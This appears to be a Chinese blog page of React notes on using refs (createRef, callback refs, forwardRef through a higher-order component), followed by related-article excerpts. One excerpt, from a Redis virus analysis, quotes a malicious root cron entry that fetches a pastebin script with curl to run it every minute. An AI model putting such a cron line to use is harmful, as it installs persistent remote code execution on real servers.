react文档

step = React.createRef();  // init

<div ref={this.step}></div> // bind

  componentDidMount() {
l(this.step.current.offsetHeight); // 获取数据
}

为 类 添加ref

这种方法是获取组件的实例,而不是组件的dom

class Hello extends Component {
log = () => {
l(1);
};
render() {
return (
<div>
<button>click me</button>
</div>
);
}
} class Test extends Component {
btn = React.createRef(); componentDidMount() {
this.btn.current.log(); // 1
}
render() {
return (
<div>
<Hello ref={this.btn} />
</div>
);
}
}

函数组件使用 ref

function CustomTextInput(props) {
// 这里必须声明 textInput,这样 ref 回调才可以引用它
let textInput = null; function handleClick() {
textInput.focus();
} return (
<div>
<input
type="text"
ref={(input) => { textInput = input; }} /> <input
type="button"
value="Focus the text input"
onClick={handleClick}
/>
</div>
);
}

传递 refs

class Hello extends Component {
render() {
return (
<div>
<button ref={this.props.btnRef}>click me</button>
</div>
);
}
} class Test extends Component {
btn = React.createRef(); componentDidMount() {
fromEvent(this.btn.current, "click").subscribe(v => l(v.type)); // click
}
render() {
return (
<div>
<Hello btnRef={this.btn} />
</div>
);
}
}

高阶组件中传递 ref

function withTest() {
return function(Target) {
class WithTest extends Component {
render() {
const { forwardedRef, ...rest } = this.props;
return (
<div>
233
<Target ref={forwardedRef} {...rest} />
</div>
);
}
} function forwardRef(props, ref) {
return <WithTest {...props} forwardedRef={ref} />;
} return React.forwardRef(forwardRef);
};
} @withTest()
class Hello extends Component {
render() {
return (
<div>
<div>hello</div>
</div>
);
}
} class Test extends Component {
btn = React.createRef(); componentDidMount() {
l(this.btn.current); // 获取到 Hello 的实例
} render() {
return <Hello ref={this.btn} />;
}
}

react ref获取dom对象的更多相关文章

  1. React对比Vue(03 事件的对比,传递参数对比,事件对象,ref获取DOM节点,表单事件,键盘事件,约束非约束组件等)

    import React from 'react'; class Baby extends React.Component { constructor (props) { super(props) t ...

  2. React 事件对象、键盘事件、表单事件、ref获取dom节点、react实现类似Vue双向数据绑定

    1.案例实现代码 import React, { Component } from 'react'; /** * 事件对象.键盘事件.表单事件.ref获取dom节点.react实现类似Vue双向数据绑 ...

  3. 六、React 键盘事件 表单事件 事件对象以及React中的ref获取dom节点 、React实现类似Vue的双向数据绑定

    接:https://www.cnblogs.com/chenxi188/p/11782349.html 事件对象 .键盘事件. 表单事件 .ref获取dom节点.React实现类似vue双向数据绑定 ...

  4. vue 使用ref获取DOM元素和组件引用

    在vue中可以通过ref获取dom元素,并操作它,还可以获取组件里面的数据和方法. HTML部分: <div id="app"> <input type=&quo ...

  5. dom变成jquery对象 先获取dom对象 然后通过$()转换成jquery对象

    dom变成jquery对象   先获取dom对象 然后通过$()转换成jquery对象

  6. js点滴知识(1) -- 获取DOM对象和编码

    在今天的工作中发现了一些小的问题,在网上查了一下,才知道自己的js才是冰山一角,以后要虚心向他人学习,要虚怀若谷. 发现一:js获取DOM对象与jquery的区别 先前总以为,二者是一样的,最近才知道 ...

  7. ExtJs 获取Dom对象

    对象指页面上的某一部分,如:Input等.我觉得在EXT JS中会有三类基本对象,htmlelement , EXT.Element和CompositeElement .分别解释一下: htmlele ...

  8. vue的数据双向绑定和ref获取dom节点

    vue是一个MVVM的框架 业务逻辑代码即js部分是model部分, html是view部分. 当model改变的时候,view也会改变 view 改变是,model也会改变 <template ...

  9. Vue系列之 => ref获取DOM元素和组件

    可以获取DOM元素,和组件中的数据,方法 <!DOCTYPE html> <html lang="en"> <head> <meta ch ...

随机推荐

  1. YUV420序列转成图片

    首先声明一点,这里的YUV其实不是YUV,严格来说是YCbCr.这里就先这样称呼YUV吧.本文是关于YUV420格式的视频转成图片序列的. 关于YUV格式的图片,存储如下图所示: 举个例子,一个640 ...

  2. js-工具函数

    /** * 将文件大小转换成 ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'],单位 * @param bytes * @returns */ ...

  3. javascript日期时间操作库推荐

    https://github.com/datejs/Datejs 链接: https://pan.baidu.com/s/1QTGhxslarNyW_0kB6gyJYA 提取码: ibab 如果这篇文 ...

  4. t-io 集群解决方案以及源码解析

    t-io 集群解决方案以及源码解析 0x01 概要说明 本博客是基于老谭t-io showcase中的tio-websocket-showcase 示例来实现集群.看showcase 入门还是挺容易的 ...

  5. 如何禁用package-lock

    因为 package-lock.json是自动生成的,可以配置 npm 来避免经常需要手动删除这个文件. 在当前项目禁用 package-lock.json 控制台下输入 echo 'package- ...

  6. C# System.Threading.AutoResetEvent

    表示线程同步事件在一个等待线程释放后收到信号时自动重置. using System; using System.Threading; // Visual Studio: Replace the def ...

  7. C#版Websocket实例

    C#版Websocket实例   Demo地址:www.awbeci.xyz websocket有java.nodejs.python,Php等等版本,我使用的是C#版本,服务器端是Fleck,git ...

  8. ScreenToGif 使用教程

    ScreenToGif 使用教程 ScreenToGif 是个强大的 Gif 录制/剪辑工具.其使用指南译文如下: 第一部分:录制 第二部分:编辑器 第三部分:主页.播放 第四部分:编辑.图像.过渡. ...

  9. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

  10. 【Unity/Kinect】手势识别Gesture

    在Unity的AssetStore官方商店下载Kinect v2 Examples案例包,参考KinectDemos/GestureDemo这个文件夹下的例子. 自定义一个类,实现KinectGest ...